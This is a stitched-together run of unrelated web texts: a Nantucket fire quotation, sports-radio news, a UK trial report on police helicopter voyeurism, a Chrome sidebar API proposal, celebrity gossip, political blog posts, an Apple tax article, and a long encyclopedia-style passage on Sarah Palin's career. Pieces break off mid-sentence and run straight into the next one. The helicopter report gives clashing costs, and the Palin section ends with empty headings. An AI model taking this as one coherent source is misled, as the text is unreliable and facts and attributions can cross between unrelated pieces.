…One of the peculiar incidents of that wild night was the rare sight of the harbor on fire. Many barrels of whale oil on the wharves had burst, and their contents flowed out over the water of the harbor and there, taking fire, presented the grand spectacle of the sea on fire…"
Reprinted in "The Great Fire of 1846," by Edouard A. Stockpile, in Proceedings of the Nantucket Historical Association, 1946.Chris Duncan has made frequent appearances back on the airwaves at WXOS 101 ESPN Radio following surgery in October on a brain tumor, but the former St. Louis Cardinal-turned broadcaster appears ready to resume his regular perch at the Creve Coeur based station.
"REALLY looking forward to having @chrisduncan11 back in his chair for the @101ESPNFastLane tomorrow at 2:00. Welcome back, Dunc," was what Randy Karraker tweeted Sunday, about the drive-time show the pair have co-hosted with former St. Louis Ram D'Marco Farr. Duncan re-tweeted the message.
Duncan has talked publicly about his recovery, both to St. Louis Post-Dispatch columnist Joe Strauss and to Rene Knott of KSDK-TV.
Former Cardinals pitcher Brad Thompson has filled in dutifully for Duncan, and talked on air in recent days of trying to resume his pro career.
A decision has not been announced regarding the future of the 9 a.m. - 11 a.m. timeslot, where Zach McCrite has been with a rotating cast of aspiring co-hosts since Rick Venturi left the station on a full-time basis to have a hip replacement and spend more time with family.
Kent Sterling, Program Director at WXOS has not replied to messages seeking comment.
Read Also:
Rick Venturi Leaving Co-Host Role at 101 ESPN Radio
New 101 ESPN Radio Host Stopped Grocery Store Thief In MMA Style
Change At 101 ESPN: Post-Dispatch Writer Jeremy Rutherford In; Tom Casey OutA sex mad cop who filmed his swinger friends having sex and naked sunbathers from a police helicopter has been slammed by a judge for the “complete and utter violation.”
Adrian Pogmore used a hi-tech camera on board a $5.25 million police chopper to film his pals having an eight-minute romp on their patio.
The 51-year-old also snapped footage of a mom-of-three sunbathing naked and used a powerful lens to zoom in on her and her teen daughters in their garden as his crew mates watched.
He was today slammed at by Judge Peter Kelson QC, who was summing up in the trial of three of Pogmore’s colleagues at Sheffield Crown Court.
The judge said: “This was a complete and utter violation of her privacy.
“She did not know Adrian Pogmore and had every right to expect privacy in her garden, surrounded by tall trees.”
Pogmore, who worked for South Yorkshire Police Air Support Unit at the time, has already admitted four counts of misconduct in a public office but three colleagues deny the offence.
Serving South Yorkshire officers Matthew Lucas, 42, and Lee Walls, 47, retired South Yorkshire Police pilot Malcolm Reeves, 64, and former South Yorkshire pilot Matthew Loosemore, 45, deny being a part of Pogmore’s set ups.
The police helicopter, usually used for capturing fleeing criminals and helping to patrol large groups after football matches, was even flown over a naturists campsite called Candy Farm.
Pogmore decided to zoom in on a naked couple sat outside their caravan.
The judge said the $2.62 million chopper would normally be used to pursue fleeing criminals and cost $59 to keep in the air for two minutes.
A jury were previously shown footage of a woman who was sunbathing fully-naked in her private garden with her three daughters, aged 18, 15 and eight – all wearing bikinis.
Graphic content was also played to the jury when the same crew spotted a couple having sexual intercourse in their garden in South Yorkshire.
Prosecutor Richard Wright QC said the recordings were “not simply the product of one swinging and sexual obsessed air observer Adrian Pogmore but were made with the connivance of the other members of the crew.”
The footage used as evidence in the trial was found in a draw belonging to Pogmore in his desk at a police station.
Walls, of Sheffield, denies one count, Loosemore, of Doncaster, South Yorks., denies one count, Reeves denies one count and Lucas, of Sheffield, denies three counts of misconduct relating to watching and filming naked people without their consent and observing and recording people performing sexual acts.
The charges relate to four alleged incidents between 2007 and 2012 – one on August 23 2007, two incidents on July 28 2008, and one incident on July 22 2012.
The case continues.Chrome is developing a Sidebar API (chrome.sidebar). benjamin.j.mccann will be leading development, and I will be the Chromium contact. API proposal: https://docs.google.com/document/d/102hfWTM5cMl-95PyfGcn89YHDTffBMMumLUBOnxLp0A Since the proposal we have had discussions internally, and the minimum feature set we will initially launch with is: - Sidebar is an HTML view, similar to popups. They are declared with a "sidebar" manifest key specifying a page to load: {"sidebar": {"page": "sidebar.html"}}. - Sidebar visibility is tied to toolbar buttons (browser action), similar to popup. Sidebars can only be shown by clicking on the toolbar button, and only a single sidebar can show at once. The last shown sidebar wins. - While visible, the extension's toolbar button stays depressed[*]. This is sufficient for attribution. - Sidebars only show on the right. - Sidebars automatically grow and shrink depending on the content area, to some maximum width (similar to popups). In this way, extensions can implement minimization by shrinking the size of their sidebar. - Sidebars can close themselves with window.close(). - Sidebars declare whether they should be shown only on a single tab, or for all tabs. The choice will depend on the use case: for example, a bookmarks manager sidebar will probably want to be shown globally, while an annotator for a specific website will only want to be shown on a single tab. Am I missing anything? Did I add anything that we didn't agree on? [*] To be finalised in UI review.Wow! Before Jennifer landed the coveted part of Katniss in ‘The Hunger Games,’ she lost out on the role of Bella in ‘Twilight’ to Kristen. In hindsight, she is glad, because she doesn’t envy the media attention that Kristen has to deal with.
Jennifer Lawrence and Kristen Stewart have a lot in common. They are both got their start in indie movies, they both star in blockbuster franchises, they are both dating their British co-stars, they are both 22-years-old, and they both auditioned for the part of Bella Swan in Twilight. Phew! But while they are both very famous, Jennifer does not have to deal with half of the crazy media attention that Kristen does, and for that reason alone, Jennifer admits that she is glad to have missed out on the part of Bella.
Jennifer’s Relief At Missing The Part
Jennifer auditioned for the part of Bella when she was 17-years-old, and she was unsuccessful, as we all know that Kristen landed the coveted role. When asked by The Guardian newspaper if she was glad she didn’t get the part, Jennifer replied:
“Oh yeah, for sure,” she says. “I remember when the first movie came out, seeing Kristen Stewart on the red carpet and getting papped wherever she went. I’d had no idea Twilight would be such a big deal. For me, and assuming for her, it was just another audition. Then it turned into this whole other thing.”
Jennifer couldn’t be more correct, as with Twilight came Twi-hards, and Kristen’s life has never been the same, especially since she started dating her co-star Robert Pattinson. Jennifer is currently dating her X-Men: First Class co-star Nicholas Hoult, but they are lucky to escape the scrutiny that Rob and Kristen endure.
Playing Katniss
Jennifer is one tough cookie, as she didn’t sit around crying when she lost the part of Bella. She landed herself a huge part when she got the role of Katniss Everdeen in The Hunger Games, and things have been onwards and upwards ever since. She admits that she was worried, however, that her career would revolve round HG:
“I worried that it would be overwhelming and that no one would be able to see me as any other character. But I really cared about the movie. I’m as proud of The Hunger Games as I am any of the other films I’ve done.”
And she should be! It looks like everything worked out for the best, as both Kristen and Jennifer have built highly successful careers from their respective franchises. And now, years later, Jennifer has trumped Kristen on something, as she was voted the most desirable woman by AskMen.com. Go Jennifer!
What do YOU think, HollywoodLifers? Do YOU prefer The Hunger Games or Twilight?
http://www.youtube.com/watch?v=IziRrAcuBXc
— Eleanore Hutch
More Jennifer Lawrence News:The Republican Party in Texas is so awesome.
Texans would have to wait two years to get a divorce — unless they take a class designed to save their marriage — under a proposal a key state lawmaker says he plans to revive. … "The deal is, we need to take marriage more seriously," said [Warren] Chisum, who in October will celebrate his 51st wedding anniversary.
Who is Warren Chisum? A DeLay-style theocrat who wants to keep gubmint outta the way of big bidness (he’s an oil man who once tried to dump nuclear waste in Andrews County) but loves to make intrusive, un-American laws based on his personal religious beliefs. He thinks homosexuality is a choice and has quite a few, shall we say, unusual views.
TO: How do you deal with language in the Bible that doesn’t fit our society, things like mentions of slavery? WC: Yeah, you know you talk about slavery, and certainly there was slavery in the Bible, but you know it was for the slave to serve the master and for the master to be kind to the slave. It’s no different than in employment today.
Oh, and he’s the chairman of the Texas House Appropriations Committee.
Quick! Someone ask the Republican Party’s nominee for president what he thinks of this law. Did he have to wait 2 years before dumping his first wife for Cindy?A Politician's Stand On The Second Amendment Determines If You Are A Subject Or A Citizen
Manasquan, NJ –-(Ammoland.com)- Texas legislator Dr. Suzanne Gratia-Hupp said, “How a politician stands on the Second Amendment tells you how he or she views you as an individual… as a trustworthy and productive citizen, or as part of an unruly crowd that needs to be lorded over, controlled, supervised, and taken care of.”
Every election cycle we see candidates with marginal commitment to gun owners doing a masquerade intended to deceive voters. A standard buzz-phrase these candidates use is “hunter access,” words designed to bait unsuspecting gun owners into thinking the candidate is truly committed to the right to bear arms.
Don't take the bait for that particular trap, and don't fall for the on-paper-only, hunting-sounding “groups” that emerge only shortly before each election to offer political cover for candidates who do not fully support the right to bear arms.
Rather, trust the entities that have been in the trenches for decades fighting for your rights – the Montana Shooting Sports Association and the National Rifle Association. Both MSSA and the NRA evaluate candidates for you. Find the MSSA evaluations at mtssa.org or at VoteSmart.org, and the NRA evaluations at nrapvf.org.
Don't get sucked in by the photo op candidates who borrow a shotgun for a campaign photo. In Montana we call that “All hat and no cows.” Check candidates out carefully or trust MSSA and the NRA to have done a good job evaluating candidates for you.
As Dr. Gratia-Hupp implies, a candidate's true attitude about your gun rights is a litmus for much else about that candidate.
Gary Marbut, president
Montana Shooting Sports Association
P.O. Box 4924
Missoula, Montana 59806
406-549-1252 (Office)
406-544-1252 (Mobile)
www.mtssa.org
Author, Gun Laws of Montan
www.mtpublish.com
.
Brian Judy
State Liaison for Montana
National Rifle Association
555 Capitol Mall, Suite 455
Sacramento, CA 95814
916-446-2455 (Office)Image copyright Getty Images Image caption The European Commission is not convinced Apple is paying a fair rate of tax on what it sells
The European Commission (EC) has told Ireland it believes it gave illegal state aid to Apple.
It has published a letter, originally sent to the country in June, accusing it of helping the computer giant through special tax arrangements.
The EC is looking at whether some countries, including Luxembourg and the Netherlands, unfairly favour multinationals.
Apple says it has received "no selective treatment".
The company employs more than 4,000 people in the Republic of Ireland, mainly assembling computers and providing technical support.
Ireland's corporate tax rate is set at 12.5%, but Apple enjoys an effective rate of tax of 2%, due to the way it channels overseas sales through its subsidiaries.
Repayment
Apple... paid just £11.4 million in corporation tax in 2013 after declaring UK revenues of just £100m. Given the company has 37 UK stores, and the average Apple store took over £30 million last year, you can see how much of that revenue is being diverted through Ireland
In a statement, the company said: "Our success in Europe and around the world is the result of hard work and innovation by our employees, not any special arrangements with the |
calls on the matter to various state officials. "I do now have to tell Alaskans that such pressure could have been perceived to exist, although I have only now become aware of it", she said.[132][134][136] Palin said, "Many of these inquiries were completely appropriate. However, the serial nature of the contacts could be perceived as some kind of pressure, presumably at my direction."[126]
Chuck Kopp, whom Palin had appointed to replace Monegan as public safety commissioner, received a $10,000 state severance package after he resigned following just two weeks on the job. Kopp, the former Kenai chief of police, resigned July 25 following disclosure of a 2005 sexual harassment complaint and letter of reprimand against him. Monegan said that he did not receive a severance package from the state.[126]
Legislative investigation
On August 1, 2008, the Alaska Legislature hired an investigator, Stephen Branchflower, to review the Monegan dismissal. Legislators stated that Palin had the legal authority to fire Monegan, but they wanted to know whether her action had been motivated by anger at Monegan for not firing Wooten.[138] The atmosphere was bipartisan and Palin pledged to cooperate.[138][139] Wooten remained employed as a state trooper.[131] She placed an aide on paid leave due to a tape-recorded phone conversation that she deemed improper, in which the aide, appearing to act on her behalf, complained to a trooper that Wooten had not been fired.[140]
Several weeks after the start of what the media referred to as "troopergate", Palin was chosen as John McCain's running mate.[138] On September 1, Palin asked the legislature to drop its investigation, saying that the state Personnel Board had jurisdiction over ethics issues.[141] The Personnel Board's three members were first appointed by Palin's predecessor, and Palin reappointed one member in 2008.[142] On September 19, Todd Palin and several state employees refused to honor subpoenas, the validity of which were disputed by Talis Colberg, Palin's appointee as Alaska's attorney general.[143] On October 2, a court rejected Colberg's challenge to the subpoenas,[144] and seven of the witnesses, not including Todd Palin, eventually testified.[145]
Branchflower Report
On October 10, 2008, the Alaska Legislative Council unanimously voted to release, without endorsing,[146] the Branchflower Report, in which investigator Stephen Branchflower found that firing Monegan "was a proper and lawful exercise of her constitutional and statutory authority," but that Palin abused her power as governor and violated the state's Executive Branch Ethics Act when her office pressured Monegan to fire Wooten.[147] The report stated that "Governor Palin knowingly permitted a situation to continue where impermissible pressure was placed on several subordinates to advance a personal agenda, to wit: to get Trooper Michael Wooten fired."[148] The report also said that Palin "permitted Todd Palin to use the Governor's office [...] to continue to contact subordinate state employees in an effort to find some way to get Trooper Wooten fired."[148][149]
On October 11, Palin's attorneys responded, condemning the Branchflower Report as "misleading and wrong on the law."[150] One of Palin's attorneys, Thomas Van Flein, said that it was an attempt to "smear the governor by innuendo."[151] Later that day, Palin did a conference call interview with various Alaskan reporters, where she stated, "Well, I'm very, very pleased to be cleared of any legal wrongdoing... Any hint of any kind of unethical activity there. Very pleased to be cleared of any of that."[152]
Alaska Personnel Board investigation and report
The bipartisan State of Alaska Personnel Board reviewed the matter at Palin's request.[153] On September 15, the Anchorage law firm of Clapp, Peterson, Van Flein, Tiemessen & Thorsness filed arguments of "no probable cause" with the Personnel Board on behalf of Palin.[154][155] The Personnel Board retained independent counsel Timothy Petumenos, a Democrat, as an investigator. On October 24, Palin gave three hours of depositions with the Personnel Board in St. Louis, Missouri.[156] On November 3, 2008, the State of Alaska Personnel Board reported that there was no probable cause to believe that Palin or any other state official had violated state ethical standards.[157][158][159][160][161] The report further stated that the Branchflower Report used the wrong statute in reaching its conclusions, misconstrued the available evidence and did not consider or obtain all of the material evidence required to properly reach findings in the matter.[157]
Job approval ratings
As governor of Alaska, Palin's job approval rating ranged from a high of 93% in May 2007 to 54% in May 2009.[162]
Resignation
On July 3, 2009, Palin announced that she would not run for reelection in the 2010 Alaska gubernatorial election and would resign before the end of the month. In her announcement, Palin stated that since August 2008, both she and the state had been spending an "insane" amount of time and money ($2.5 million) responding to "opposition research," 150 FOIA requests and 15 "frivolous" legal ethics complaints filed by "political operatives" against her.[172][173][174][175] Her decision not to seek reelection and to resign from office would enable her to avoid being a lame duck politician. She said, "I'm not putting Alaska through that...".[174] Contrary to most reports, it has been reported that her decision had been in the works for months, accelerating as it became clear that controversies and endless ethics investigations were threatening to overshadow her legislative agenda. A source close to Palin said, "Attacks inside Alaska and largely invisible to the national media had paralyzed her administration [and] she was no longer able to do the job she had been elected to do. Essentially, the taxpayers were paying for Sarah to go to work every day and defend herself."[175] Palin and her husband Todd had personally incurred more than $500,000 in legal fees defending against ethics charges brought against her as governor even though all the complaints were dismissed. Lt. Governor Sean Parnell said it "really had to do with the weight on her, the concern she had for the cost of all the ethics investigations and the like – the way that weighed on her with respect to her inability to just move forward Alaska's agenda on behalf of Alaskans in the current context of the environment."[172] Lieutenant Governor Sean Parnell became governor on July 26, 2009 in an inaugural ceremony in Fairbanks, upon Palin's resignation taking effect.[176]
In December 2010, new rules governing Alaska executive branch ethics, stemming from Palin's tenure as governor, took effect.[177] "These include allowing for the state to pay legal costs for officials cleared of ethics violations; (and) allowing for a family member of the governor or lieutenant governor to travel at state cost in certain circumstances..."[177]
2008 vice-presidential campaign
Several conservative commentators met Palin in the summer of 2007.[178] Some of them, such as Bill Kristol, later urged McCain to pick Palin as his vice presidential running mate, arguing that her presence on the ticket would provide a boost in enthusiasm among the Religious Right wing of the Republican party, while her status as an unknown on the national scene would also be a positive factor.[179]
On August 24, 2008, during a general strategy meeting, Steve Schmidt, and a few other senior advisers to the McCain campaign, discussed potential vice presidential picks with the consensus settling around Palin. The following day, the strategists advised McCain of their conclusions and he personally called Palin, who was at the Alaska State Fair.[180]
On August 27, she visited McCain's vacation home near Sedona, Arizona, where she was offered the position of vice-presidential candidate.[181] According to Jill Hazelbaker, a spokeswoman for McCain, he had previously met Palin at the National Governors Association meeting in Washington in February 2008 and had come away "extraordinarily impressed."[182] Palin was the only prospective running mate who had a face-to-face interview with McCain to discuss joining the ticket that week.[183] Nonetheless, Palin's selection was a surprise to many because a main criticism he had of Obama was his lack of experience, and speculation had centered on other candidates, such as Minnesota Governor Tim Pawlenty, Louisiana Governor Bobby Jindal, former Massachusetts Governor Mitt Romney, U.S. Senator Joe Lieberman of Connecticut, and former Pennsylvania Governor Tom Ridge.[184] On August 29, in Dayton, Ohio, McCain announced he had chosen Palin as his running mate,[184] making her the first Alaskan and the second woman to run on a major U.S. party ticket.[184]
As Palin was largely unknown outside Alaska before her selection by McCain, her personal life, policy positions, and political record drew intense media scrutiny.[185] On September 1, 2008, Palin announced that her daughter Bristol was pregnant and that she would marry the father, Levi Johnston.[186] During this period, some Republicans felt that Palin was being unfairly attacked by the media.[187] Timothy Noah of Slate magazine predicted that Palin's acceptance speech would be "wildly overpraised" and might end speculation that she was unqualified for the job of vice president because the press had been beating her up for "various trivial shortcomings" and had lowered the expectations for her speech.[188] On September 3, 2008, Palin delivered a 40-minute acceptance speech at the Republican National Convention that was well received and watched by more than 40 million people.[189]
During the campaign, controversy erupted over alleged differences between Palin's positions as a gubernatorial candidate and her position as a vice-presidential candidate. After McCain announced Palin as his running mate, Newsweek and Time put Palin on their magazine covers,[190] as some of the media alleged that McCain's campaign was restricting press access to Palin by allowing only three one-on-one interviews and no press conferences with her.[191] Palin's first major interview, with Charles Gibson of ABC News, met with mixed reviews.[192] Her interview five days later with Fox News Channel's Sean Hannity went more smoothly and focused on many of the same questions from Gibson's interview.[193] Palin's performance in her third interview with Katie Couric, of CBS News, was widely criticized; her poll numbers declined, Republicans expressed concern that she was becoming a political liability, and some conservative commentators called for Palin to resign from the Presidential ticket.[194][195] Other conservatives remained ardent in their support for Palin, accusing the columnists of elitism.[196] Following this interview, some Republicans, including Mitt Romney and Bill Kristol, questioned the McCain campaign's strategy of sheltering Palin from unscripted encounters with the press.[197]
Palin reportedly prepared intensively for the October 2 vice-presidential debate with Democratic vice-presidential nominee Joe Biden at Washington University in St. Louis. Some Republicans suggested that Palin's performance in the interviews would improve public perceptions of her debate performance by lowering expectations.[194][198][199] Polling from CNN, Fox and CBS found that while Palin exceeded most voters' expectations, they felt that Biden had won the debate.[200][201]
Upon returning to the campaign trail after her debate preparation, Palin stepped up her attacks on the Democratic candidate for President, Illinois Senator Barack Obama. At a fundraising event, Palin explained her new aggressiveness, saying, "There does come a time when you have to take the gloves off and that time is right now."[202] Palin said that her first amendment right to "call Obama out on his associations" was threatened by "attacks by the mainstream media."[203]
Palin appeared on Saturday Night Live's "Weekend Update" segment on October 18. Prior to her appearance, she had been parodied several times by Tina Fey, who was noted for her physical resemblance to the candidate.[204] In the weeks leading up to the election, Palin was also the subject of amateur parodies posted on YouTube.[205]
Controversy arose after it was reported that the Republican National Committee (RNC) spent $150,000 of campaign contributions on clothing, hair styling, and makeup for Palin and her family in September 2008. Campaign spokespersons stated the clothing would be going to charity after the election.[206] Palin and some media outlets blamed gender bias for the controversy.[207][208] At the end of the campaign, Palin returned the clothes to the RNC.[209]
The election took place on November 4, and Obama was projected as the winner at 11:00 PM EST.[210] In his concession speech McCain thanked Palin, calling her "one of the best campaigners I've ever seen, and an impressive new voice in our party for reform and the principles that have always been our greatest strength."[210] While aides were preparing the teleprompter for McCain's speech, they found a concession speech written for Palin by George W. Bush speechwriter Matthew Scully. Two members of McCain's staff, Steve Schmidt and Mark Salter, told Palin that there was no tradition of Election Night speeches by running mates, and that she would not be speaking. Palin appealed to McCain, who agreed with his staff.[211]
Political scientists have debated the impact that Palin had on the outcome of the 2008 presidential election.[212][213][214] A 2010 study in the journal Electoral Studies found that "her campaign performance cost McCain just under 2% of the final vote share."[212] However, a 2013 study in journal Political Research Quarterly failed to find an adverse impact.[213]
After the 2008 election
Palin was the first guest on commentator Glenn Beck's Fox News television show on January 19, 2009, commenting on Barack Obama that he would be her president and that she would assist in any way to bring progress to the nation without abandoning her conservative views.[215]
In August 2009, she coined the phrase "death panel", to describe rationing of care as part of the proposed health care reform. She stated that it would require Americans such as her parents or her child with Down syndrome, "to stand in front of Obama's 'death panel' so his bureaucrats can decide, based on a subjective judgment of their 'level of productivity in society,' whether they are worthy of health care."[216] The phrase was criticized by many Democrats and Politifact named it the "Lie of the Year of 2009."[217] However, conservatives disputed this and defended her use of the term.[218]
In March 2010, Palin started a show to be aired on TLC called Sarah Palin's Alaska.[219] The show was produced by Mark Burnett.[220] Five million viewers tuned in for the premiere episode, a record for TLC.[221] Palin also secured a segment on Fox News.[220] Two guests that she was shown to have interviewed claimed to have never met her. Guests LL Cool J and Toby Keith stated that footage shown on the segment was actually taken from another interview with someone else, but was used in Palin's segment.[222] Fox News and Palin ended this relationship in January 2013.[223] But on June 13, 2013, Palin rejoined Fox News Channel as an analyst.[224]
On December 8, 2010, it was reported that SarahPAC and Palin's personal credit card information were compromised through cyber attacks. Palin's team believed the attack was executed by Anonymous during Operation Payback.[225] The report was met with skepticism in the blogosphere.[226] Palin's email had been hacked once before in 2008.[227]
SarahPAC
On January 27, 2009, Palin formed the political action committee, SarahPAC.[228] Michael Glassner, a former aide to Palin, was appointed as the chief of staff of SarahPac.[229] The organization, which describes itself as an advocate of energy independence,[230] supports candidates for federal and state office.[231] Following her resignation as governor, Palin announced her intention to campaign "on behalf of candidates who believe in the right things, regardless of their party label or affiliation."[232] It was reported that SarahPAC had raised nearly $1,000,000.[233] A legal defense fund was set up to help Palin challenge ethics complaints, and it had collected approximately $250,000 by mid-July 2009.[233][234] In June 2010, Palin's defense fund was ruled illegal and was required to pay back $386,856 it collected in donations because it used Palin's position as governor to raise money for her personal gain. Palin subsequently set up a new defense fund.[235] In the 2010 cycle it raised $5.6 million, spending $4.3 million, however only $509,000 went to candidates or political or party committees. In the 2016 election cycle, it spent $830,000 on consultants but provided only $82,500 to candidates, while spending $168,000 on travel and lodging, about twice what it gave to candidates. She endorsed Donald Trump. Sarah PAC was terminated as of December 31, 2016.[236]
In the wake of the January 8, 2011 shooting of Rep. Gabrielle Giffords, Palin faced criticism for her SarahPAC website's inclusion of a political graphic that included a crosshair[237] over Giffords's district. Palin responded on her Facebook page to the criticism, saying that "Acts of monstrous criminality stand on their own. They begin and end with the criminals who commit them", equating the accusations of her role in the shooting to a "blood libel".[238][239][240] Her response sparked a fiery debate attracting support and criticism.[241] An ABC News-Washington Post poll found that 46% of respondents viewed Palin's response unfavorably, 30% approved and 24% had no opinion.[242]
Going Rogue and America by Heart
Palin on the campaign trail in 2008
In November 2009, Palin released her memoir, Going Rogue: An American Life, in which she details her private and political career, including her resignation as Governor of Alaska. Palin said she took the title from the phrase 'gone rogue' used by McCain staffers to describe her behavior when she spoke her mind on the issues during the campaign.[243] The subtitle, "An American Life," mirrors the title of President Ronald Reagan's 1990 autobiography.[244] Less than two weeks after its release, sales of the book exceeded the one million mark, with 300,000 copies sold the first day. Its bestseller rankings were comparable to memoirs by Bill Clinton, Hillary Clinton and Barack Obama.[245][246][247]
Palin traveled to 11 states in a bus, with her family accompanying her, to promote the book. She made a number of media appearances as well, including a widely publicized interview on November 16, 2009, with Oprah Winfrey.[248] In November 2010 HarperCollins released Palin's second book, titled America by Heart.[249][250][251] The book contains excerpts from Palin's favorite speeches, sermons and literature as well as portraits of people Palin admires, including some she met in rural America on her first book tour.[249]
Tea Party movement
On February 6, 2010, Palin was the keynote speaker at the first Tea Party convention in Nashville, Tennessee. Palin said the Tea Party movement is "the future of politics in America."[252] She criticized Obama for rising deficits, and for "apologizing for America" in speeches in other countries. Palin said Obama was weak on the War on Terror for allowing the so-called Christmas bomber to board a plane headed for the United States.[253]
On April 16, 2011, Palin was the keynote speaker at an annual tax day tea party rally at the state capitol in Madison, Wisconsin sponsored by Americans for Prosperity, a conservative political advocacy group headquartered in Arlington, Virginia.[254]
On Labor Day, September 5, 2011, Palin was the featured speaker at a Tea Party Express rally in Manchester, New Hampshire's Victory Park. She addressed a large enthusiastic crowd. Palin told the attendees that it was time to grow the Tea Party movement and it was important for them to avoid internal bickering with Establishment Republicans.[255] She told the crowd, "The Tea Party movement is bigger than any one person and is not about any one candidate."[256]
"Pink Elephant" movement and 2010 endorsements
In the middle of 2010, Palin flagged the launch of a new "Pink Elephant Movement".[257][not in citation given] She set about endorsing a number of female GOP candidates.[258] Her endorsement helped Georgia Gubernatorial candidate Karen Handel to take the lead in the campaign for the Republican nomination,[259] although Handel lost the primary. Palin endorsed several female candidates nationally. Ryan Rudominer, a spokesman for the House Democratic campaign operation called her involvement in various U.S. House campaigns a "great thing across the board".[260] She spoke at a May 2010 fundraiser for the Susan B. Anthony List, a pro-life political advocacy group and political action committee that supports pro-life women in politics, in which she coined the term "mama grizzly".[261][262] Palin endorsed Nikki Haley for the Republican nomination for Governor of South Carolina three weeks before the election. At the time of the endorsement, Haley was polling last among Republicans; she ended up winning the nomination and general election.[263]
In the months ahead of the November 2010 elections, Palin endorsed 64 Republican candidates,[264] and was a significant fundraising asset to those she campaigned for during the primary season.[265] According to Politico, Palin's criteria for endorsing candidates was whether they had the support of the Tea Party movement and the support of the Susan B. Anthony List.[266] In terms of success, Palin was 7–2 for Senate endorsements; 7–6 for House endorsements; and 6–3 in endorsements of gubernatorial candidates in races that were considered 'competitive'.[267] Palin's endorsement of Joe Miller in the August 24 Alaska primary election for U.S. Senator was identified as a pivotal moment in Miller's upset of the incumbent Republican Senator Lisa Murkowski.[268][269] After losing the Republican Party primary to Miller, Murkowski ran as a write-in candidate, defeating both Miller and Democrat Scott McAdams in the general election, winning with a plurality. This made her only the second U.S. Senator, the first write-in candidate to be elected since Strom Thurmond in the United States Senate election in South Carolina, 1954.[270] According to The Daily Beast reporter Shushannah Walshe, Christine O'Donnell's unlikely prospects of upsetting establishment Republican candidate Mike Castle "changed overnight" due to Palin's endorsement. O'Donnell defeated Castle in the September 14 primary for Joe Biden's former Senate seat in Delaware.[271] Her O'Donnell endorsement further increased tensions between Palin and the Republican establishment: leading conservative commentator Charles Krauthammer described the endorsement as "reckless and irresponsible".[272] Party strategist Karl Rove argued that it may have been Palin's endorsement of O'Donnell that ultimately cost the GOP the Delaware Senate seat.[273] Commentators including Politico's Ben Smith posited that Palin's support of O'Donnell contributed to dashing Republican hopes of regaining control of the U.S. Senate.[274] Another Palin endorsement carried Nevada's Sharron Angle to a 40.1% primary win,[275] in the race to beat highly endangered incumbent Senate Majority Leader Harry Reid, but the controversial Angle's nomination sank those chances. Reid prevailed 50.3% to 44.6% in the 2010 election, despite his losing 14 of Nevada's 17 counties.[276][277] Angle had led by as much as 11% in March and June Rasmussen polling.[278] [279]
Palin's influence over the primaries nonetheless further increased speculation that she would seek to be the party's nominee for President in 2012,[280] with political pundits such as David Frum and Jonathan Chait identifying Palin as the front-runner.[281][282]
2012 election cycle and candidacy speculation
Palin speaking at the 2014 Conservative Political Action Conference (CPAC) in National Harbor, Maryland
Beginning in November 2008, following Palin's high profile in the presidential campaign, an active "Draft Palin" movement started.[283] On February 6, 2010, when asked on Fox News whether she would run for president in 2012, she replied, "I would be willing to if I believe that it's right for the country."[284] She added, "I won't close the door that perhaps could be open for me in the future."[285]
In November 2010 Palin confirmed that she was considering running for the Presidency, and was "having that discussion with my family". She said she realised her level of experience could cause problems with winning the nomination, and criticized the "lamestream media" for focusing attention on her personal life.[286]
In March 2011, Palin and her husband toured India at the invitation of Indian newsmagazine India Today,[287] subsequently visiting Israel.[288] During the tour she was asked about her future candidacy; she said, "I don't think there needs to be a rush to get out there as a declared candidate. It's a life-changing decision."[289] In response to another question, she said "It's time that a woman is president of the United States of America."[290]
In 2011 Palin said the home she had recently purchased in Scottsdale, Arizona was not a full-time residence,[291] and denied that she was planning to run for the Arizona Senate seat of the retiring Jon Kyl.[292] On October 5, 2011, Palin said she had decided not to seek the Republican nomination for President.[293]
2014 Alaska gubernatorial election endorsement
Palin speaking at the 2015 CPAC in National Harbor
In October 2014, Palin endorsed the "unity ticket" of Independent Bill Walker and Democrat Byron Mallott in the 2014 Alaska gubernatorial election, which ran against her successor and former lieutenant governor, Sean Parnell.[294] The endorsement was prompted by Parnell's oil-and-gas industry tax-cuts, which dismantled her administration's "Alaska's Clear and Equitable Share" (ACES) plan. She had previously supported a referendum to repeal the tax cuts, which was narrowly defeated in August 2014.[295] Walker and Mallott made the repeal of the tax cuts a centerpiece of their campaign.[296] Walker and Mallott won the governorship in the November 2014 election with 48.1 percent of the vote, versus 45.9 percent for the Republican ticket.[297]
2016 campaign
In January 2016 Palin announced her endorsement of Donald Trump.[298] The political director of Trump's campaign, Michael Glassner, helped to win Palin's endorsement; he had been an aide to Palin while she was governor, and was also the chief of staff of her political action committee, SarahPAC.[299]
In a May 2016 interview with CNN's Jake Tapper, Palin said she would work to defeat Republican Speaker of the House Paul Ryan. Palin cited Ryan's reluctance to support Trump for president.[300] In early August, Palin said again that she supported Paul Nehlen, a little-known Republican challenger to Ryan, despite Trump's announced support of Ryan.[301] A few days later, Ryan overwhelmingly defeated Nehlen in the Republican primary, taking over 84 percent of the vote.[302]
2017 defamation lawsuit
In June 2017, Palin filed a defamation lawsuit against The New York Times for an editorial that accused Palin of "political incitement" in the run-up to the 2011 shooting of Democratic congresswoman Gabrielle Giffords, and claimed a link to an advertisement from Palin's political action committee—which showed stylized crosshairs against the congressional districts held by 20 Democrats, including Giffords.[303][304] The Times later issued a correction, stating that "no such link was established" between the advertisement and the shooting, and clarifying that what was depicted in the crosshairs in the ads were "electoral districts, not individual Democratic lawmakers." The Times wrote that the error did not "undercut or weaken the argument of the piece."[303] In subsequent testimony at an evidentiary hearing, Times editorial page editor James Bennet stated that the editorial sought to make a point about heated political rhetoric, and was not intended to blame Palin for the attack on Giffords.[305]
Palin's lawsuit was dismissed by the U.S. District Court for the Southern District of New York in August 2017. Judge Jed S. Rakoff ruled that Palin had failed to show malice, writing: "What we have here is an editorial, written and rewritten rapidly in order to voice an opinion on an immediate event of importance, in which are included a few factual inaccuracies somewhat pertaining to Mrs. Palin that are very rapidly corrected. Negligence this may be; but defamation of a public figure it plainly is not."[305]
Political positions
Palin has been a registered Republican since 1982.[306]
Health care
Social issues
Palin opposes same-sex marriage. [310]
She supports capital punishment. [311]
She has called marijuana use a "minimal issue" and suggested that arresting cannabis users should be a low priority for local police, though she opposes legalizing the substance.[312]
Education
Guns
Environment
Foreign policy
Palin in Kuwait, July 26, 2007
Palin is a strong supporter of Israel. [328] [329] Referring to Iran's threat to Israel, Palin said Obama would be reelected if "he played the war card. Say he decided to declare war on Iran or decided really come out and do whatever he could to support Israel, which I would like him to do." [330]
